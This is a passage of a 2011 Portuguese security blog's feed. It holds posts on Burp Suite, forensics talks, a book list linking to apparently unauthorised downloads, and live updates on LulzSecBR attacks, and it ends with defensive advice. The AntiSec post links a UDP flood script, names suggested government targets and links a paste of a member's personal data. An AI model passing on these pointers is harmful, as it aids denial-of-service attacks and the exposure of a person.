enviarei um e-mail para o pgto via PagSeguro.&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-5022510016625887251?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/5022510016625887251/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/08/curso-de-seguranca-em-servidores-web.html#comment-form' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5022510016625887251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5022510016625887251'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/08/curso-de-seguranca-em-servidores-web.html' title='Curso de Segurança em Servidores WEB - EaD'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-9223090315669784790</id><published>2011-08-12T19:05:00.001-03:00</published><updated>2011-08-12T19:07:57.957-03:00</updated><title type='text'>Burp Suite - Ferramenta para teste em aplicações web</title><content type='html'>&lt;div style="width:425px" id="__ss_1216706"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/Ashraf.Bashir/burp-suite-v11introduction" title="Burp Suite v1.1 Introduction" target="_blank"&gt;Burp Suite v1.1 Introduction&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/1216706" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/Ashraf.Bashir" target="_blank"&gt;Ashraf.Bashir&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-9223090315669784790?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/9223090315669784790/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/08/burp-suite-ferramenta-para-teste-em.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/9223090315669784790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/9223090315669784790'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/08/burp-suite-ferramenta-para-teste-em.html' title='Burp Suite - Ferramenta para teste em aplicações web'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-194869363806362106</id><published>2011-08-09T18:33:00.002-03:00</published><updated>2011-08-09T18:36:43.241-03:00</updated><title type='text'>Livros de segurança</title><content type='html'>Apenas para postar algo de interessante aqui, depois de um pouco mais de um mês sem postar nada por conta de falta de tempo (fica difícil trampando 80h por semana ter tempo de postar algo por aqui...).&lt;br /&gt;&lt;br /&gt;Segue abaixo uma lista de livros de segurança, alguns bem interessantes e outros um pouco menos :-) Mas já ajuda um pouco para quem quiser uma lista de indicações literárias. Há muitos outros excelentes livros, mas aí a lista ficaria muuuito maior.&lt;br /&gt;&lt;br /&gt;De qualquer forma, espero que aproveitem:&lt;br /&gt;&lt;br /&gt;Metasploit: The Penetration Tester’s Guide&lt;br /&gt;http://www.wowebook.com/book/metasploit/&lt;br /&gt;&lt;br /&gt;Managing Infrastructure with Puppet&lt;br /&gt;http://www.wowebook.com/book/managing-infrastructure-with-puppet/&lt;br /&gt;&lt;br /&gt;iPhone and iOS Forensics: Investigation, Analysis and Mobile Security for Apple iPhone, iPad and iOS Devices&lt;br /&gt;http://www.wowebook.com/book/iphone-and-ios-forensics/&lt;br /&gt;&lt;br /&gt;The Basics of Information Security: Understanding the Fundamentals of InfoSec in Theory and Practice&lt;br /&gt;http://www.wowebook.com/book/the-basics-of-information-security/&lt;br /&gt;&lt;br /&gt;Security Power Tools&lt;br /&gt;http://www.wowebook.com/book/security-power-tools/&lt;br /&gt;&lt;br /&gt;Cyber Warfare: Techniques, Tactics and Tools for Security Practitioners&lt;br /&gt;http://www.wowebook.com/book/cyber-warfare/&lt;br /&gt;&lt;br /&gt;Security Engineering: A Guide to Building Dependable Distributed Systems, 2nd Edition&lt;br /&gt;http://www.wowebook.com/book/security-engineering-2nd-edition/&lt;br /&gt;&lt;br /&gt;The Shellcoder’s Handbook, 2nd Edition&lt;br /&gt;http://www.wowebook.com/book/the-shellcoders-handbook-2nd-edition/&lt;br /&gt;&lt;br /&gt;BackTrack 4: Assuring Security by Penetration Testing&lt;br /&gt;http://www.wowebook.com/book/backtrack-4/&lt;br /&gt;&lt;br /&gt;Web Security, Privacy and Commerce, 2nd Edition&lt;br /&gt;http://www.wowebook.com/book/web-security-privacy-and-commerce-2nd-edition/&lt;br /&gt;&lt;br /&gt;Securing the Cloud: Cloud Computer Security Techniques and Tactics&lt;br /&gt;http://www.wowebook.com/book/securing-the-cloud/&lt;br /&gt;&lt;br /&gt;Hacking Exposed: Web Applications, 3rd Edition&lt;br /&gt;http://www.wowebook.com/book/hacking-exposed-web-applications-3rd-edition/&lt;br /&gt;&lt;br /&gt;Ninja Hacking: Unconventional Penetration Testing Tactics and Techniques&lt;br /&gt;http://www.wowebook.com/book/ninja-hacking/&lt;br /&gt;&lt;br /&gt;Practical Lock Picking: A Physical Penetration Tester’s Training Guide&lt;br /&gt;http://www.wowebook.com/book/practical-lock-picking/&lt;br /&gt;&lt;br /&gt;Gray Hat Hacking The Ethical Hackers Handbook, 3rd Edition&lt;br /&gt;http://www.wowebook.com/book/gray-hat-hacking-the-ethical-hackers-handbook-3rd-edition/&lt;br /&gt;&lt;br /&gt;Hacking Exposed: Wireless, 2nd Edition&lt;br /&gt;http://www.wowebook.com/book/hacking-exposed-wireless-2nd-edition/&lt;br /&gt;&lt;br /&gt;Hacking Exposed: Malware &amp; Rootkits&lt;br /&gt;http://www.wowebook.com/book/hacking-exposed-malware-and-rootkits/&lt;br /&gt;&lt;br /&gt;Hacking Exposed: Linux, 3rd Edition&lt;br /&gt;http://www.wowebook.com/book/hacking-exposed-linux-3rd-edition/&lt;br /&gt;&lt;br /&gt;Hacking Exposed: Web 2.0&lt;br /&gt;http://www.wowebook.com/book/hacking-exposed-web-2-0/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-194869363806362106?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/194869363806362106/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/08/livros-de-seguranca.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/194869363806362106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/194869363806362106'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/08/livros-de-seguranca.html' title='Livros de segurança'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-258589317800753906</id><published>2011-07-05T10:23:00.001-03:00</published><updated>2011-07-05T10:25:10.652-03:00</updated><title type='text'>Slides da palestra Forense Computacional no FISL 12</title><content type='html'>&lt;div style="width:425px" id="__ss_8508053"&gt;  &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;/strong&gt;&lt;iframe src="http://www.slideshare.net/slideshow/embed_code/8508053" marginwidth="0" marginheight="0" frameborder="0" height="355" scrolling="no" width="425"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/luizvieira" target="_blank"&gt;luizvieira&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-258589317800753906?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/258589317800753906/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/07/slides-da-palestra-forense.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/258589317800753906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/258589317800753906'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/07/slides-da-palestra-forense.html' title='Slides da palestra Forense Computacional no FISL 12'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-895574409206453436</id><published>2011-07-01T22:51:00.009-03:00</published><updated>2011-07-27T10:45:29.431-03:00</updated><title type='text'>Twitter</title><content type='html'>Enfim decidi sair do ostracismo e criar um twitter. Só não sei se terei tempo de ficar twittando hehehehe&lt;br /&gt;&lt;br /&gt;&lt;div class="screen-name-and-location"&gt;&lt;span class="screen-name screen-name-HackProofing pill"&gt;@HackProofing&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-895574409206453436?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/895574409206453436/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/07/twitter.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/895574409206453436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/895574409206453436'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/07/twitter.html' title='Twitter'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-4065478390813205884</id><published>2011-06-30T20:11:00.003-03:00</published><updated>2011-06-30T20:17:45.523-03:00</updated><title type='text'>Foto FISL 12</title><content type='html'>Foto com duas pessoas (da esquerda para  direita) de quem admiro o trabalho na área de forense e segurança: Paulo Neukamp (desenvolvedor do FDTK) e "eth0" (Eduardo).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-AWzXPJOgW2s/Tg0Db3RKmtI/AAAAAAAAATE/3G70bWwHWfw/s1600/fisl12.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/-AWzXPJOgW2s/Tg0Db3RKmtI/AAAAAAAAATE/3G70bWwHWfw/s320/fisl12.JPG" alt="" id="BLOGGER_PHOTO_ID_5624155286882917074" border="0" /&gt;&lt;/a&gt;Só de encontrá-los no FISL, bem como o Rodrigo "Sp0oker" Montoro (que infelizmente não está na foto), o evento já valeu bastante.&lt;br /&gt;&lt;br /&gt;Abração galera, e espero encontrá-los novamente em breve!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-4065478390813205884?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/4065478390813205884/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/foto-fisl-12.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4065478390813205884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4065478390813205884'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/foto-fisl-12.html' title='Foto FISL 12'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-AWzXPJOgW2s/Tg0Db3RKmtI/AAAAAAAAATE/3G70bWwHWfw/s72-c/fisl12.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1260278196416318760</id><published>2011-06-25T11:52:00.004-03:00</published><updated>2011-06-30T15:45:20.062-03:00</updated><title type='text'>Palestra no FISL</title><content type='html'>Caros, dia 30/06 apresentarei a palestra Forense Computacional com Software Livre no FISL, às 9h00. Quem tiver interesse, apareça por lá para assistir e depois bater papo comigo :-)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-xzjQOp8Dptg/TgX2qDiUnxI/AAAAAAAAAS8/nSTS6_rQ0G0/s1600/Captura_de_tela.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 363px; height: 286px;" src="http://4.bp.blogspot.com/-xzjQOp8Dptg/TgX2qDiUnxI/AAAAAAAAAS8/nSTS6_rQ0G0/s400/Captura_de_tela.png" alt="" id="BLOGGER_PHOTO_ID_5622170912206135058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Atualização (30/06):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Palestra apresentada, e parece que o pessoal gostou. Nos próximos dias postarei os slides da palestra e o vídeo do ophcrack. O vídeo com o Maltego rodando para realizar o rastreamento de dados a partir de um e-mail não postarei, pois contém informações internas da empresa onde trabalho no momento.&lt;br /&gt;&lt;br /&gt;Obrigado pela presença de todos!&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1260278196416318760?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1260278196416318760/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/palestra-no-fisl.html#comment-form' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1260278196416318760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1260278196416318760'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/palestra-no-fisl.html' title='Palestra no FISL'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-xzjQOp8Dptg/TgX2qDiUnxI/AAAAAAAAAS8/nSTS6_rQ0G0/s72-c/Captura_de_tela.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-4042182677695332409</id><published>2011-06-22T11:20:00.012-03:00</published><updated>2011-06-26T21:57:01.651-03:00</updated><title type='text'>Mais novidades da Operation AntiSec</title><content type='html'>Ontem alguns sites como o www.brasil.gov.br já caíram, e nenhum pronunciamento foi feito, a não ser no twitter no LulzSecBR.&lt;br /&gt;&lt;br /&gt;O que será que nosso governo vai fazer? Colocar os site no ar de novo e esperar para ver no que dá? Aguardar novos ataques?&lt;br /&gt;&lt;br /&gt;Apenas para efeito informativo, se é que alguma autoridade lê esse blog, hoje eles já informaram novos ataques, como por exemplo o site do MEC e da Receita Federal (para esse último, o ataque já está programado para as 13h).&lt;br /&gt;&lt;br /&gt;E então, braços cruzados ou os verdadeiros bombeiros vão aparecer quando o circo estiver pegando fogo?&lt;br /&gt;&lt;br /&gt;Nem sei se ainda resta alguma esperança, mas pagarei pra ver :-)&lt;br /&gt;&lt;br /&gt;Mensagem postada pelo grupo no youtube:&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=aIsTd9WIRKU"&gt;http://www.youtube.com/watch?v=aIsTd9WIRKU&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Atualizações (13h26):&lt;/span&gt;&lt;br /&gt;http://www.bmfbovespa.com.br/  &amp;lt;--- caiu tbm&lt;br /&gt;&lt;br /&gt;http://www.petrobras.com.br/ &amp;lt;--- caiu tbm&lt;br /&gt;&lt;br /&gt;Vejam o que os caras mapearam para saber onde atacar:&lt;br /&gt;http://imgpaste.com/i/ockll.png&lt;br /&gt;http://imgpaste.com/i/osxds.png&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;&lt;br /&gt;Atualizações (13h34):&lt;/span&gt;&lt;br /&gt;Pretendem deixar de usar o LOIC para usar isso:&lt;br /&gt;http://www.cesarkallas.net/arquivos/outros/udp_pl.txt&lt;br /&gt;&lt;br /&gt;Sugerem como alvo:&lt;br /&gt;http://www.portaltransparencia.gov.br&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Atualizações (14h00):&lt;/span&gt;&lt;br /&gt;Música tema do LulzSec:&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=7YoDt-MxhHg"&gt;http://www.youtube.com/watch?v=7YoDt-MxhHg&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sugerem http://www.abin.gov.br/ como alvo.&lt;br /&gt;&lt;br /&gt;Ganham acesso ao admin de http://www.nucleoacademico.org.br/home.php .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Atualizações (24/06 - 06h53):&lt;/span&gt;&lt;br /&gt;Dados de um dos integrantes:&lt;br /&gt;&lt;a href="http://pastie.org/2113810"&gt;http://pastie.org/2113810&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Citação do grupo sobre a mafia das licitações:&lt;br /&gt;&lt;a href="http://lulzsecurity.com.br/lulzsec-news/mafia-das-licitacoes/"&gt;http://lulzsecurity.com.br/lulzsec-news/mafia-das-licitacoes/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Atualizações (26/06):&lt;/span&gt;&lt;br /&gt;Será que a brincadeira acabou de verdade?&lt;br /&gt;&lt;a href="http://pastebin.com/1znEGmHa"&gt;http://pastebin.com/1znEGmHa&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-4042182677695332409?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/4042182677695332409/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/mais-novidades-da-operation-antisec.html#comment-form' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4042182677695332409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4042182677695332409'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/mais-novidades-da-operation-antisec.html' title='Mais novidades da Operation AntiSec'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8287453556741211207</id><published>2011-06-22T07:27:00.001-03:00</published><updated>2011-06-22T07:31:17.439-03:00</updated><title type='text'>Geek Culture</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-JfFXx3uSZMQ/TgHEXrgV9SI/AAAAAAAAASw/sUKr0ZyOdOc/s1600/geekculture.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 376px; height: 400px;" src="http://3.bp.blogspot.com/-JfFXx3uSZMQ/TgHEXrgV9SI/AAAAAAAAASw/sUKr0ZyOdOc/s400/geekculture.jpg" alt="" id="BLOGGER_PHOTO_ID_5620989721029506338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-h73wH7WEgzw/TgHEJ3T-qvI/AAAAAAAAASo/oijcwraEgow/s1600/geekculture.jpg"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8287453556741211207?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8287453556741211207/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/geek-culture.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8287453556741211207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8287453556741211207'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/geek-culture.html' title='Geek Culture'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-JfFXx3uSZMQ/TgHEXrgV9SI/AAAAAAAAASw/sUKr0ZyOdOc/s72-c/geekculture.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8304602699863916681</id><published>2011-06-21T07:46:00.001-03:00</published><updated>2011-06-21T07:47:43.182-03:00</updated><title type='text'>Operation Anti-Security</title><content type='html'>&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;Nessas últimas semanas começamos uma nova era. Uma era onde os mouses e as mentes de milhares se unem para realizar ataques simultâneos com um objetivo em comum: pilhar e destruir. Só que, diferente da idade média, onde se usavam espadas, machados, martelos de guerra e maças, as armas são os chips, os mouses e as mentes.&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;E como nos protegíamos antigamente? Nos acastelávamos atrás de muralhas defendidas por espigões, flechas e óleo quente. E agora? Agora, muitos não sabem o que fazer, ou quando sabem dizem que não precisam , pois com eles não vai acontecer nada.&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;Já ouvi diretor de TI de empresa falar que pentest é inútil e que proteção de perímetro não serve para nada, pois na opinião dessa pessoa basta “comprar uma caixinha” que todo o problema está resolvido.&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;E é justamente por contar com a existência em massa de pessoas de mente embotada dessa maneira, que os grupos LulzSec e Anonymous decidiram se juntar e explorar as brechas existentes em sistemas de grandes empresas, governos e instituições militares. Agora, será que uma “caixinha preta” será a solução para tudo isso? De acordo com esse diretor que citei, sim! Vocês vão pagar para ver?&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;Quem não quiser pagar pra ver, meu conselhos:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;atualizem os  sistemas;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;auditem as regras  de firewall e IDS, adaptando-as à realidade que começaremos a  enfrentar em breve;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;contratem  profissionais de segurança (profissionais, não o sobrinho do  dono);&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;auditem toda a  infraestrutura da empresa, seja física, seja lógica;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;invistam no  monitoramento, não do que o funcionário está fazendo no browser,  mas sim dos incidentes da rede, com boas ferramentas e acima de  tudo, uma boa equipe de resposta a incidentes.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p class="western" style="margin-bottom: 0cm"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm"&gt;Enquanto a mentalidade empresarial não mudar, seremos reféns de grupos como estes, que estão organizando a Operation Anti-Security.&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;Quando digo mentalidade, sempre surge em minha mente as frases:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;o foco do meu  negócio não é TI, então não tem porque investir tanto nesse  setor de minha empresa;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;TI me dá muito  gasto e pouco retorno, chega de gastar com esses caras que ficam  tomando cafezinho o dia todo;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;entregue cedo,  entregue sempre, prefiro que você me entregue 80% do projeto em 2  dias do que 100% em uma semana;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;vendam, vendam e  vendam, que o pessoal de TI se vira para entregar;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0cm"&gt;metodologias ágeis  e TDD só servem para atrapalhar e aumentar o tempo para a entrega  do projeto, vocês estão proibidos de implementar essas  metodologias ao desenvolverem algo.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p class="western" style="margin-bottom: 0cm"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm"&gt;Parece piada, mas ouço essas pérolas ao meu redor... Será que essas empresas sabem algo de segurança? Será que elas serão alvos fáceis de uma operação anti-segurança?&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;Enquanto não cair 